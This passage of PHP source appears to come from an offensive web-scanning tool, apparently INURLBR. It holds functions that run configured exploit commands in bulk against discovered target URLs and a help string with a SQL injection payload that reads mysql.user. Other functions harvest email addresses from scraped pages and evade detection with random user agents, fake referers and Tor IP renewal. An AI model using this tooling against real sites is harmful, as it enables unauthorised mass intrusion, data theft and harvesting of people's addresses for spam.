    curl_setopt($curl, CURLOPT_URL, $url);
    $resultadoCurl = curl_exec($curl);
    if ($resultadoCurl) {
        preg_match_all('(HTTP.*)', $resultadoCurl, $status['http']) . __plus();

        return (!is_null($status['http']) && !empty($status['http'])) ? TRUE : FALSE;
    }
    unset($curl);
    return FALSE;
}

################################################################################
#BEEP ##########################################################################
################################################################################

function __cli_beep() {

    echo ($_SESSION['config']['beep']) ? "\x07" : NULL;
}

################################################################################
#SETUP TO RUN COMMANDS IN ID####################################################
################################################################################

function __configExploitsExec($id, $alvo) {

    $resultadoURL = __configExploitsList();
    $final = array();
    $id_ = ((strstr($id, ','))) ? explode(',', $id) : array($id); // MULTIPLAS ID'S EXPLOITS

    foreach ($resultadoURL as $key) {
        $__key = strstr($key, '::') ? explode("\n", $key) : NULL;
        $final = is_array($__key) ? array_merge($final, $__key) : $final;
    }
    foreach ($id_ as $value) {
        $final__ = isset($value) && !empty($value) ? explode('::', $final[$value]) : NULL;
        $barra = "{$_SESSION["c1"]}[ INFO ]|___{$_SESSION["c0"]}\n";
        $barra.= "      {$_SESSION["c1"]}|";
        print !is_null($final__) ? "\n{$barra}[ EXPLOIT ]:: {$final__[0]} /[ ID ]:: {$value} /[ COMMAND ]:: " . $final__[1] : NULL;
        echo "\n      ------------------------------------------------------------------------------------------------------------------";
        print !is_null($final__) ? __command($final__[1], $alvo) : NULL;
        __plus();
    }
}

################################################################################
#LIST COMMANDS FILE exploits.conf###############################################
################################################################################

function __configExploitsList($op = NULL) {

    $resultadoURL = array_unique(array_filter(explode("\n", file_get_contents($_SESSION['config']['file_exploit_conf']))));

    if (!is_null($op)) {
        echo __bannerlogo();
        echo $_SESSION["c11"];
        echo "[*]__\n";
        echo "     |MENU EXPLOITS:";
        echo "\n     |ID TYPE_EXPLOIT::EXPLOIT_COMMAND";
        echo "\n     |FILE CONFIG: {$_SESSION['config']['file_exploit_conf']}";
        echo "\n     |USE COMMAND EX: --exploit-id '1,2,3,19'";
        echo "\n-----------------------------------------------------------------------------------------------------------------------\n";
        print_r($resultadoURL);
        __getOut("{$_SESSION['config']['line']}\n");
    } else {
        return is_array($resultadoURL) ? $resultadoURL : NULL;
    }
}

################################################################################
#INSERT VALUES COMMANDS FILE exploits.conf######################################
################################################################################

function __configExploitsADD($valor = NULL) {

    if (!is_null($valor) && preg_match("(([a-zA-Z0-9-].*)(::.*)([a-zA-Z0-9-]))", $valor)) {
        echo __bannerlogo();
        echo $_SESSION["c11"];
        echo "[*]__\n";
        echo "     |MENU EXPLOITS:";
        echo "\n     |ID TYPE_EXPLOIT::EXPLOIT_COMMAND";
        echo "\n     |STATUS: ADDED VALUE WITH SUCCESS!";
        echo "\n     |VALUE: {$valor}";
        echo "\n-----------------------------------------------------------------------------------------------------------------------\n";
        __saveValue($_SESSION['config']['file_exploit_conf'], __crypt($valor), 2);
        print_r(__configExploitsList());
        __getOut("{$_SESSION['config']['line']}\n");
    } else {

        __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}INCORRECT FORMAT! / Format TYPE_EXPLOIT::EXPLOIT_COMMAND / ex: NMAP::nmap -sV _TARGET_\n");
    }
}

################################################################################
#CHECK CMS######################################################################
################################################################################

function __SimpleCheckCMS($html) {

    $cms['XOOPS CMS IDENTIFIED'] = '<meta name="generator" content="XOOPS"';
    $cms['Joomla CMS IDENTIFIED'] = '<meta name="generator" content="Joomla!';
    $cms['Wordpress CMS IDENTIFIED'] = '<meta name="generator" content="WordPress';
    $cms['SMF CMS IDENTIFIED-1'] = '<a href="http://www.simplemachines.org/" title="Simple Machines Forum" target="_blank">Powered by SMF';
    $cms['SMF CMS IDENTIFIED-2'] = '<a href="http://www.simplemachines.org/about/copyright.php" title="Free Forum Software" target="_blank">SMF';
    $cms['vBulletin CMS IDENTIFIED-1'] = '<meta name="generator" content="vBulletin';
    $cms['vBulletin CMS IDENTIFIED-2'] = 'Powered by <a href="http://www.vbulletin.com" id="vbulletinlink">vBulletin&trade;</a> Version';
    $cms['vBulletin CMS IDENTIFIED-3'] = 'powered by vBulletin';
    $cms['phpBB CMS IDENTIFIED'] = 'Powered by <a href="http://www.phpbb.com/">phpBB</a>';
    $cms['MyBB CMS IDENTIFIED'] = 'Powered By <a href="http://www.mybboard.net" target="_blank">MyBB</a>';
    $cms['Drupal CMS IDENTIFIED-1'] = 'name="Generator" content="Drupal';
    $cms['Drupal CMS IDENTIFIED-2'] = 'Drupal.settings';
    $cms['MODx CMS IDENTIFIED'] = '<a href="http://www.modx.com" target="_blank"> Powered by MODx</a>';
    $cms['SilverStripe CMS IDENTIFIED'] = '<meta name="generator" content="SilverStripe - http://silverstripe.org" />';
    $cms['Textpattern CMS IDENTIFIED'] = 'Powered by <a href="http://www.textpattern.com" title="Textpattern">Textpattern</a>';
    $cms['Adapt CMS IDENTIFIED'] = 'Powered by <a href="http://www.adaptcms.com">AdaptCMS';
    $cms['ATutor CMS IDENTIFIED'] = '<a href="/about.php">About ATutor</a>';
    $cms['b2evolution CMS IDENTIFIED'] = '<meta name="generator" content="b2evolution';
    $cms['Moodle CMS IDENTIFIED-1'] = 'Powered by <a href="http://moodle.org" title="Moodle">Moodle</a>';
    $cms['Moodle CMS IDENTIFIED-2 '] = '<meta name="key words" content="moodle, Course Management System " />';
    $cms['Moodle CMS IDENTIFIED-3'] = '://moodle';
    $cms['Moodle CMS IDENTIFIED-4'] = '://www.mood le';
    $cms['ATutor CMS IDENTIFIED'] = '<META NAME="GENERATOR" CONTENT="PHP-Nuke';
    $cms['PostNuke CMS IDENTIFIED'] = '<meta name="generator" content="PostNuke';
    $cms['CloudFlare IDENTIFIED-1'] = '<a href="http://www.cloudflare.com/" target="_blank" style=';
    $cms['CloudFlare IDENTIFIED-2'] = 'DDoS protection by CloudFlare</a>';

    foreach ($cms as $campo => $valor) {

        __plus();
        if (strstr($html, $cms[$campo])) {
            return(" {$campo} ");
        }
    }
    return "0xUNIDENTIFIED";
}

################################################################################
#REPLACE THE SECURITIES URL#####################################################
################################################################################

function __replace($exploit, $url) {

    $exploit_ = strstr($_SESSION['config']['replace'], '[INURL]') ?
            $exploit :
            __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}DEFINE THE CORRECT REPLACE COMMAND ex: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}\n");
    $exploit = explode("[INURL]", $exploit_);
    $exploit[0] = (isset($exploit[0]) && !is_null($exploit[0])) ?
            $exploit[0] :
            __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}DEFINE THE CORRECT REPLACE COMMAND ex: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}\n");
    $exploit[1] = (isset($exploit[0]) && !is_null($exploit[1])) ?
            $exploit[1] :
            __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}DEFINE THE CORRECT REPLACE COMMAND ex: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}\n");
    return str_replace($exploit[0], $exploit[1], $url);
}

################################################################################
#REMOVE VALUE URL###############################################################
################################################################################

function __remove($value, $url) {

    return str_replace($value, NULL, $url);
}

################################################################################
#VALID MENU OPTIONS#############################################################
################################################################################

function __validateOptions($opArray, $validar, $op = NULL) {

    if (empty($validar) || empty($opArray)) {
        return FALSE;
    }

    $array = explode(',', $opArray);
    if (is_null($op)) {
        $busca = explode(',', $validar);
        for ($i = 0; $i <= count($busca); $i++) {
            if (in_array($busca[$i], $array)) {
                return TRUE;
            }
        }
    } else {
        for ($i = 0; $i <= count($array); $i++) {
            if (strstr($validar, $array[$i])) {
                return TRUE;
            }
        }
    }
    return FALSE;
}

################################################################################
#VALIDATE OPERATING SYSTEM AND COLOR SYSTEM#####################################
################################################################################

function __OS() {

    $sistema = strtoupper(PHP_OS);
    if (substr($sistema, 0, 3) == "WIN") {
        $i = 0;
        system("cls");
        $_SESSION["os"] = 1;
        while ($i <= 17) {
            $_SESSION["c{$i}"] = NULL;
            $i++;
        }
    } else {
        system("command clear");
        //DEFINING COLORS
        $_SESSION["c0"] = "\033[0m";      // END OF COLOR
        $_SESSION["c1"] = "\033[1;37m";   // WHITE
        $_SESSION["c2"] = "\033[1;33m";   // YELLOW
        $_SESSION["c3"] = "\033[1;31m";   // RED LIGHT
        $_SESSION["c4"] = "\033[32m";   // GREEN 
        $_SESSION["c5"] = "\033[1;32m";   // GREEN LIGHT
        $_SESSION["c6"] = "\033[0;35m";   // PURPLE
        $_SESSION["c7"] = "\033[1;30m";   // DARK GREY
        $_SESSION["c8"] = "\033[0;34m";   // BLUE
        $_SESSION["c9"] = "\033[0;37m";   // LIGHT GREY
        $_SESSION["c10"] = "\033[0;33m";  // BROWN
        $_SESSION["c11"] = "\033[1;35m";  // LIGHT PURPLE
        $_SESSION["c12"] = "\033[0;31m";  // RED
        $_SESSION["c13"] = "\033[1;36m";  // LIGHT CYAN
        $_SESSION["c14"] = "\033[0;36m";  // CIANO
        $_SESSION["c15"] = "\033[1;34m";  // LIGHT BLUE
        $_SESSION["c16"] = "\033[02;31m"; // DARK RED
    }
}

################################################################################
#SAVE URL VULNERABLE  COMMAND ECHO >> FILE######################################
################################################################################

function __saveValue($arquivo, $valor, $op = NULL) {

    $path = !not_isnull_empty($_SESSION['config']['save-as']) ? $_SESSION['config']['out_put_paste'] : NULL;
    echo ($op == 1) ?
            "\n{$_SESSION["c1"]}|_[ + ]{$_SESSION["c7"]} VALUE SAVED IN THE FILE::{$_SESSION["c9"]} {$arquivo}{$_SESSION["c0"]}" : NULL;
    file_put_contents(($op == 2) ? $arquivo : $path . $arquivo, "{$valor}\n", FILE_APPEND);
}

################################################################################
#CAPTURE ID KEY TO SEARCH LYCOS MAKE############################################
################################################################################

function __getIdSearchLycos($html) {

    $match = NULL;
    preg_match_all("(val.*)", $html, $match);
    return (str_replace(');', '', str_replace('val(', '', str_replace("'", '', $match[0][4]))));
}

################################################################################
#RENEW IP NETWORK TOR###########################################################
################################################################################

function __renewTOR() {

    system("[ -z 'pidof tor' ] || pidof tor | xargs sudo kill -HUP;");
    $request__ = __request_info('http://dynupdate.no-ip.com/ip.php', $_SESSION["config"]["proxy"]);
    __plus();
    echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ IP NETWORK TOR RENEWED ]::: {$_SESSION["c1"]}[ {$request__['corpo'] } ]\n{$_SESSION["c0"]}";
    /* https://pt.wikipedia.org/wiki/Pidof
     * pidof é um utilitário Linux que encontra o ID de um programa em execução.
     * Note que o próprio nome é a junção dos termos pid, que significa identidade
     * de um processo e of que significa de. Portanto pidof quer dizer identidade 
     * de processo de...
     * O equivalente no Solaris é pgrep. pidof firefox-bin O commando acima retorna 
     * o pid do processo que está executando firefox-bin.
     * Pode-se combinar o commando 'pidof' com o commando kill dessa forma:
     * kill -9 $(pidof firefox-bin) pidof é simplesmente uma ligação simbólica 
     * para o programa killall5,que está localizado em /sbin.
     */
}

################################################################################
#This function will validate emails#############################################
################################################################################

function __validateEmail($email) {

    $conta = "^[a-zA-Z0-9\._-]+@";
    $domino = "[a-zA-Z0-9\._-]+.";
    $extensao = "([a-zA-Z]{2,4})$";

    $pattern = $conta . $domino . $extensao;

    return (ereg($pattern, $email)) ? TRUE : FALSE;
}

################################################################################
#This function will validate URLS###############################################
################################################################################

function __validateURL($url) {

    if (preg_match("#\b(http[s]?://|ftp[s]?://){1,}?([-a-zA-Z0-9\.]+)([-a-zA-Z0-9\.]){1,}([-a-zA-Z0-9_\.\#\@\:%_/\?\=\~\-\//\!\'\(\)\s\^\:blank:\:punct:\:xdigit:\:space:\$]+)#si", $url)) {
        return TRUE;
    } else {
        return FALSE;
    }
}

################################################################################
#This function will filter custom values########################################
################################################################################

function __extractRegCustom($html, $url_) {

    $matches = NULL;
    __plus();
    preg_match_all("#\b{$_SESSION['config']['regexp-filter']}#i", $html, $matches);

    echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n";
    echo "{$_SESSION["c1"]} |_[ URL ] {$_SESSION["c0"]}=>{$_SESSION["c9"]} {$url_} {$_SESSION["c0"]}\n";

    $matches_ = array_filter(array_unique(array_unique($matches[0])));
    foreach ($matches_ as $valor) {

        if (not_isnull_empty($valor)) {

            echo "{$_SESSION["c1"]}__[ + ] {$_SESSION["c0"]}[\033[01;31m {$_SESSION['config']['cont_valores']} {$_SESSION["c0"]}]- {$valor}\n";
            $_SESSION["config"]["resultado_valores"].="{$valor}\n";
            __plus();
            __saveValue($_SESSION["config"]["arquivo_output"], $valor);
            $_SESSION['config']['cont_valores'] ++;
        }
        __plus();
    }
    __timeSec('delay', "\n");
}

################################################################################
#This function will filter and mail each url####################################
################################################################################

function __filterEmailif($resultados) {

    if (is_array($resultados)) {
        echo "{$_SESSION["c1"]}|_[ ! ][ INFO ]{$_SESSION["c16"]}[ FILTERING VALUE ]::{$_SESSION["c1"]}[ {$_SESSION["config"]['ifemail']} ]{$_SESSION["c0"]}\n";
        foreach ($resultados as $value) {

            $temp[] = (strstr($value, $_SESSION['config']['ifemail']) ? $value : NULL);
        }

        return array_unique(array_filter($temp));
    }

    RETURN FALSE;
}

################################################################################
#This function extract emails###################################################
################################################################################

function __extractEmail($html, $url_) {

    $matches = NULL;
    __plus();
    preg_match_all('/([\w\d\.\-\_]+)@([\w\d\.\_\-]+)/mi', $html, $matches);
    echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n";
    echo "{$_SESSION["c1"]}|_[ ! ][ INFO ][URL] :: {$_SESSION["c9"]} {$url_} {$_SESSION["c0"]}\n";

    $_matches = array_filter(array_unique(array_unique($matches[0])));
    $matches_ = (not_isnull_empty($_SESSION['config']['ifemail']) ? __filterEmailif($_matches) : $_matches);

    foreach ($matches_ as $valor) {

        if (__validateEmail($valor)) {

            echo "{$_SESSION["c1"]}|_[ + ]{$_SESSION["c0"]}[\033[01;31m {$_SESSION['config']['cont_valores']} {$_SESSION["c0"]}]- {$valor} "
            . (filter_var($valor, FILTER_VALIDATE_EMAIL) ?
                    "{$_SESSION["c14"]}[ OK ]{$_SESSION["c0"]}" : "{$_SESSION["c16"]}[ NO ]{$_SESSION["c0"]}") . "\n";
            (filter_var($valor, FILTER_VALIDATE_EMAIL) ? $_SESSION["config"]["resultado_valores"].="{$valor}\n" : NULL);
            __plus();
            (filter_var($valor, FILTER_VALIDATE_EMAIL) ? __saveValue($_SESSION["config"]["arquivo_output"], $valor) : NULL);

            $_SESSION['config']['cont_valores'] ++;
        }
        __plus();
    }
    __timeSec('delay', "\n");
}

################################################################################
#This function will filter urls each url########################################
################################################################################

function __extractURLs($html, $url_) {

    $matches = NULL;
    __plus();
    $reg_tag = 'href=\"|src=\"|value=\"';
    $reg = "#\b({$reg_tag}http[s]?://|{$reg_tag}ftp[s]?://){1,}?([-a-zA-Z0-9\.]+)([-a-zA-Z0-9\.]){1,}([-a-zA-Z0-9_\.\#\@\:%_/\?\=\~\-\//\!\'\(\)\s\^\:blank:\:punct:\:xdigit:\:space:\$]+)#si";
    preg_match_all($reg, $html, $matches);
    echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n";
    echo "{$_SESSION["c1"]} |_[ INFO ][URL] {$_SESSION["c0"]}=>{$_SESSION["c9"]} {$url_} {$_SESSION["c0"]}\n";
    echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n";
    $matches_ = array_unique(array_filter($matches[0]));
    $blacklist = $_SESSION["config"]['blacklist'];
    $blacklist_ = (isset($_SESSION["config"]["webcache"])) ? str_replace('webcache.,', '', $blacklist) : $blacklist;

    foreach ($matches_ as $valor) {

        $valor = __filterURLTAG($valor);
        if (__validateURL($valor) && !__validateOptions($blacklist_, $valor, 1)) {
            echo "{$_SESSION["c1"]}__[ + ]{$_SESSION["c0"]}[\033[01;31m {$_SESSION["config"]['cont_url']}"
            . " {$_SESSION["c9"]}]- {$valor}{$_SESSION["c0"]}\n";
            $_SESSION["config"]["resultado_valores"].="{$valor}\n";
            __plus();
            __saveValue($_SESSION["config"]["arquivo_output"], $valor) . __plus();
            $_SESSION["config"]["cont_url"] ++;
        }
        __plus();
    }
    __timeSec('delay', "\n");
}

################################################################################
#This function removes the last regular expression ta###########################
################################################################################

function __filterURLTAG($valor = NULL) {

    return(!is_null($valor)) ? str_replace('"', '', str_replace('href="', '', str_replace('src="', '', str_replace('value="', '', $valor)))) : NULL;
}

################################################################################
#Esta função irá formatar salvar urls concatenadas##############################
################################################################################

function __checkURLs($resultado, $url_) {

    __plus();
    $code = !is_null($_SESSION["config"]["ifcode"]) ? $_SESSION["config"]["ifcode"] : 200;
    $valor = ($resultado['server']['http_code'] == $code) ? "{$_SESSION["c4"]}" : NULL;

    echo "\n{$_SESSION["c1"]}  |_[ INFO ]{$_SESSION["c0"]}[{$_SESSION["c1"]} {$_SESSION['config']['cont_valores']} {$_SESSION["c0"]}]\n";
    echo "{$_SESSION["c1"]}  |_[ INFO ][URL] {$_SESSION["c0"]}::{$_SESSION["c9"]}{$valor} {$url_} {$_SESSION["c0"]}\n";
    echo "{$_SESSION["c1"]}  |_[ INFO ][STATUS]::{$valor} {$resultado['server']['http_code']} {$_SESSION["c0"]}\n";

    __timeSec('delay');
    echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}";
    __plus();

    $target_ = array('url_clean' => $url_, 'url_xpl' => $url_);

    if ($resultado == $code) {

        $_SESSION['config']['resultado_valores'].= "{$url_}\n";
        __saveValue($_SESSION["config"]["arquivo_output"], $url_) . __plus();
        __plus();

        (not_isnull_empty($_SESSION['config']['sub-file']) &&
                is_array($_SESSION['config']['sub-file']) ? __subExecExploits($target_['url_xpl'], $_SESSION['config']['sub-file']) : NULL);
        __plus();

        (not_isnull_empty($_SESSION['config']['command-vul']) ? __command($_SESSION['config']['command-vul'], $target_) : NULL);
        __plus();

        (not_isnull_empty($_SESSION['config']['exploit-vul-id']) ?
                        __configExploitsExec($_SESSION['config']['exploit-vul-id'], $target_) : NULL);
        __plus();
    }

    (not_isnull_empty($_SESSION['config']['exploit-all-id']) ? __configExploitsExec($_SESSION['config']['exploit-all-id'], $target_) : NULL);
    __plus();

    (not_isnull_empty($_SESSION['config']['command-all']) ? __command($_SESSION['config']['command-all'], $target_) : NULL);
    __plus();

    $_SESSION['config']['cont_valores'] ++;

    __plus();
}

################################################################################
#This function will send the contents of the output buffer (if any)#############
################################################################################

function __plus() {

    ob_flush();
    flush();
}

################################################################################
#FORMATTING POST################################################################
################################################################################

function __convertUrlQuery($query) {

    $queryParts = explode('&', $query);
    $params = array();
    $match = array();
    foreach ($queryParts as $param) {
        $item = explode('=', $param);
        preg_match_all("([a-zA-Z0-9]=(.*))", $param, $match);
        $params[$item[0]] = ($match[1][0]);
    }

    return $params;
}

################################################################################
#OPEN FILE BASE FOR VALIDATION##################################################
################################################################################

function __openFile($arquivo, $op = NULL) {

    if (isset($arquivo) && !empty($arquivo)) {
        $resultadoURL = array_unique(array_filter(explode("\n", file_get_contents($arquivo))));

        if (is_array($resultadoURL)) {

            return ($op == 1 ? $resultadoURL : __process($resultadoURL));
        }
    }
}

################################################################################
#CATCH INFORMATION IP###########################################################
################################################################################

function __infoIP($ip, $op = 0) {

    /*
      [longitude] => 4.9
      [latitude] => 52.3667
      [asn] => AS196752
      [offset] => 2
      [ip] => 46.19.37.0
      [area_code] => 0
      [continent_code] => EU
      [dma_code] => 0
      [timezone] => Europe/Amsterdam
      [country_code] => NL
      [isp] => Tilaa B.V.
      [country] => Netherlands
      [country_code3] => NLD
     */

    preg_match_all('#\b(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})#si', $ip, $ip);
    if (filter_var($ip[0][0], FILTER_VALIDATE_IP)) {
        if ($op == 0) {
            $request__ = __request_info("http://www.telize.com/geoip/{$ip[0][0]}", $_SESSION["config"]["proxy"], NULL);
            __plus();
            return json_decode($request__['corpo'], TRUE);
        } else {
            $_SESSION['config']['verifica_info'] = NULL;
            $request__ = __request_info("http://www.telize.com/geoip/{$ip[0][0]}", $_SESSION["config"]["proxy"], NULL);
            $return = json_decode($request__['corpo'], TRUE);
            __plus();
            return "{$return['city']} /{$return['country']} - {$return['country_code']} /{$return['continent_code']} , ISP: {$return['isp']}";
        }
    }
}

################################################################################
#CAPTURE URL POSITION IN BROWSER ALEXA / RELEVANCE OF SUCH URL##################
################################################################################

function __positionAlexa($url) {

    $xmlSimple = simplexml_load_file("http://data.alexa.com/data?cli=10&dat=snbamz&url={$url}");
    $resultRank = $xmlSimple->SD[1];
    __plus();
    if ($resultRank) {
        $retornoRank = $resultRank->REACH->attributes()->RANK;
    } else {
        $retornoRank = 0;
    }
    return $retornoRank . __plus();
}

################################################################################
#GENERATE URL REFERENCE random##################################################
################################################################################

function __setURLReferenceRandom() {

    $dominio = array('Adzuna', 'Bixee', 'CareerBuilder', 'Craigslist', 'Dice', 'Eluta.ca', 'Hotjobs', 'JobStreet', 'Incruit', 'Indeed', 'Glassdoor', 'LinkUp', 'Monster', 'Naukri',
        'Yahoo', 'Legal', 'GoogleScholar', 'Lexis', 'Manupatra', 'Quicklaw', 'WestLaw', 'Medical', 'Bing Health', 'Bioinformatic', 'CiteAb', 'EB-eye', 'Entrez', 'mtv', 'ubuntu',
        'GenieKnows', 'GoPubMed', 'Healia', 'Healthline', 'Nextbio', 'PubGene', 'Quertle', 'Searchmedica', 'WebMD', 'News', 'BingNews', 'Daylife', 'GoogleNews', 'aol', 'microsoft',
        'MagPortal', 'Newslookup', 'Nexis', 'Topix', 'Trapit', 'YahooNews', 'People', 'Comfibook', 'Ex.plode', 'InfoSpace', 'PeekYou', 'Spock', 'Spokeo', 'WorldwideHelpers', 'iPhone',
        'Zabasearch', 'ZoomInfo', 'Fizber', 'HotPads', 'Realtor', 'Redfin', 'Rightmove', 'Trulia', 'Zillow', 'Zoopla', 'StuRents', 'globo', 'sbt', 'band', 'cnn', 'blog.inurl.com.br'
    );

    $gTLD = array('aero', 'arpa', 'biz', 'com', 'coop', 'edu', 'gov', 'info', 'int', 'mil', 'museum', 'name', 'net', 'org', 'pro', 'tel');

    $arquivo = array('admin', 'index', 'wp-admin', 'info', 'shop', 'file', 'out', 'open', 'news', 'add', 'profile', 'search', 'open', 'photo', 'insert', 'view');
    $ext = array('exe', 'php', 'asp', 'aspx', 'jsf', 'html', 'htm', 'lua', 'log', 'cgi', 'sh', 'css', 'py', 'sql', 'xml', 'rss');

    $pasta = array('App_Files', 'Assets', 'CFFileServlet', 'CFIDE', 'Communication', 'Computers', 'CoreAdminHome', 'CoreHome', 'Crawler', 'Creator',
        'DECOM', 'Dashboard', 'Drives', 'Dynamic', 'FCKeditor', 'Feedback', 'Files', 'Flash', 'Forms', 'Help', 'ICEcore', 'IO', 'Image', 'JPG', 'getold',
        'JSP', 'KFSI', 'Laguna', 'Login', 'Motors', 'MultiSites', 'NR', 'OCodger', 'RSS', 'Safety', 'Smarty', 'Software', 'Static', 'Stress', 'getfull',
        'Sugarcrm', 'Travel', 'UPLOAD', 'Urussanga', 'UserFiles', '__tpl', '_fckeditor', '_info', '_machine', '_plugins', '_sample', '_samples', 'postmost',
        '_source', '_testcases', 'aaa', 'abelardoluz', 'aberlardoluz', 'aborto', 'about', 'aboutus', 'abuse', 'abusers', 'ac_drives', 'acabamentos', 'mail',
        'academias', 'acao', 'acartpro', 'acatalog', 'acc', 'acc_auto_del', 'acc_beep_ken', 'acc_beep_time', 'acc_ch_mail', 'acc_fc_prsc', 'accounts', 'validar',
        'acc_html_mark', 'acc_html_rand', 'acc_lan_page', 'acc_pic_html', 'acc_profol', 'acc_soft_link', 'acc_ssd_page', 'acc_syun_ei', 'german', 'intranet', 'old',
        'acc_time_go', 'acc_wbcreator', 'accept', 'accepted', 'acceso', 'access', 'accessibility', 'accessories', 'acciones', 'acclg', 'account', 'paste', 'paste22',
        'acessorios', 'acontece', 'acougueiro', 'acoustic', 'act', 'action', 'activate', 'active', 'activeden', 'activism', 'actualit', 'actuators', 'ad', 'informatica',
        'ad_division', 'ad_rate', 'adapter', 'adapters', 'adaptive', 'adaptivei', 'adatmentes', 'adbanner', 'adblock', 'adboard', 'adclick', 'add-ons', 'add', 'delete',
        'added', 'addon', 'address', 'adduser', 'adfree', 'adhoc', 'adinfo', 'adios_papa', 'adlink', 'adlinks', 'acc_folder_vw', 'acc_syun_su',
    );

    $locais = array('ac', 'ad', 'ae', 'af', 'ag', 'al', 'am', 'an', 'ao', 'aq', 'ar', 'as', 'at', 'au', 'aw', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'bj', 'bm', 'bn',
        'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'cr', 'cu', 'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do', 'dz', 'bo', 'br',
        'ec', 'ee', 'eg', 'er', 'es', 'et', 'eu', 'fi', 'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gp', 'gq', 'gr', 'bs', 'bt',
        'gs', 'gt', 'gu', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie', 'il', 'im', 'in', 'io', 'iq', 'ir', 'is', 'it', 'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'bv',
        'kh', 'ki', 'km', 'kn', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'me', 'mg', 'mh', 'mk', 'ml',
        'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'mv', 'mw', 'mx', 'my', 'mz', 'nb', 'nc', 'ne', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om',
        'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'ro', 'ru', 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si',
        'sj', 'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'ss', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td', 'tf', 'tg', 'th', 'tj', 'tk', 'tl', 'tm', 'tn', 'to', 'tr', 'tt', 'tv',
        'tw', 'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'ye', 'yt', 'yu', 'za', 'zm', 'zw', 'ai',
    );
    return "http://www." . strtolower($dominio[rand(0, count($dominio) - 1)]) . ".{$gTLD[rand(0, count($gTLD) - 1)]}.{$locais[rand(0, count($locais) - 1)]}/{$pasta[rand(0, count($pasta) - 1)]}/{$arquivo[rand(0, count($arquivo) - 1)]}.{$ext[rand(0, count($ext) - 1)]}";
}

################################################################################
#GENERATE AGENT BROWSER random##################################################
################################################################################

function __setUserAgentRandom() {

    $agentBrowser = array('Firefox', 'Safari', 'Opera', 'Flock', 'Internet Explorer', 'Seamonkey', 'Tor Browser', 'GNU IceCat', 'CriOS', 'TenFourFox',
        'SeaMonkey', 'B-l-i-t-z-B-O-T', 'Konqueror', 'Mobile', 'Konqueror', 'Netscape', 'Chrome', 'Dragon', 'SeaMonkey', 'Maxthon', 'IBrowse',
        'K-Meleon', 'GoogleBot', 'Konqueror', 'Minimo', 'Googlebot', 'WeltweitimnetzBrowser', 'SuperBot', 'TerrawizBot', 'YodaoBot', 'Wyzo', 'Grail',
        'PycURL', 'Galaxy', 'EnigmaFox', '008', 'ABACHOBot', 'Bimbot', 'Covario IDS', 'iCab', 'KKman', 'Oregano', 'WorldWideWeb', 'Wyzo', 'GNU IceCat',
        'Vimprobable', 'uzbl', 'Slim Browser', 'Flock', 'OmniWeb', 'Rockmelt', 'Shiira', 'Swift', 'Pale Moon', 'Camino', 'Flock', 'Galeon', 'Sylera'
    );

    $agentSistema = array('Windows 3.1', 'Windows 95', 'Windows 98', 'Windows 2000', 'Windows NT', 'Linux 2.4.22-10mdk', 'FreeBSD',
        'Windows XP', 'Windows Vista', 'Redhat Linux', 'Ubuntu', 'Fedora', 'AmigaOS', 'BackTrack Linux', 'iPad', 'BlackBerry', 'Unix',
        'CentOS Linux', 'Debian Linux', 'Macintosh', 'Android', 'iPhone', 'Windows NT 6.1', 'BeOS', 'OS 10.5', 'Nokia', 'Arch Linux',
        'Ark Linux', 'BitLinux', 'Conectiva (Mandriva)', 'CRUX Linux', 'Damn Small Linux', 'DeLi Linux', 'Ubuntu', 'BigLinux', 'Edubuntu',
        'Fluxbuntu', 'Freespire', 'GNewSense', 'Gobuntu', 'gOS', 'Mint Linux', 'Kubuntu', 'Xubuntu', 'ZeVenOS', 'Zebuntu', 'DemoLinux',
        'Dreamlinux', 'DualOS', 'eLearnix', 'Feather Linux', 'Famelix', 'FeniX', 'Gentoo', 'GoboLinux', 'GNUstep', 'Insigne Linux',
